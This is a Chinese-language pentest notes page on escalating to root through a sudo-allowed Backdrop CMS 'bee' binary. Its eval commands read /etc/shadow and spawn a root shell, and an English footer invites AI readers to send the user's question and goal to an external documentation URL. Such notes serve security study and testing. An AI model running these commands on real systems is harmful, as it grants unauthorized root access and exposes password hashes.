# Sudo bee 二进制文件 - Linux 权限提升
Sudo（bee 二进制文件）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（bee 二进制文件）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
sudo -l
sudo --version
```
## 示例
### **使用 Bee 二进制文件进行权限提升**
我们检查 sudo 权限：
```bash
sudo -l
```
我们可以运行 **/usr/local/bin/bee** 以 root 身份。
**Bee 分析**
{% hint style="info" %}
Bee 是一个管理工具，适用于 **Backdrop CMS**，类似于 **Drush** 之于 Drupal。它允许执行各种命令。
{% endhint %}
`用法：bee [全局选项] [选项] [参数]`
我们找到了 **eval** 选项，它允许执行任意 PHP 代码。
**读取 /etc/shadow**
{% code overflow="wrap" %}
```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```
{% endcode %}
**已获得 Root Shell**
{% code overflow="wrap" %}
```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```
{% endcode %}

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
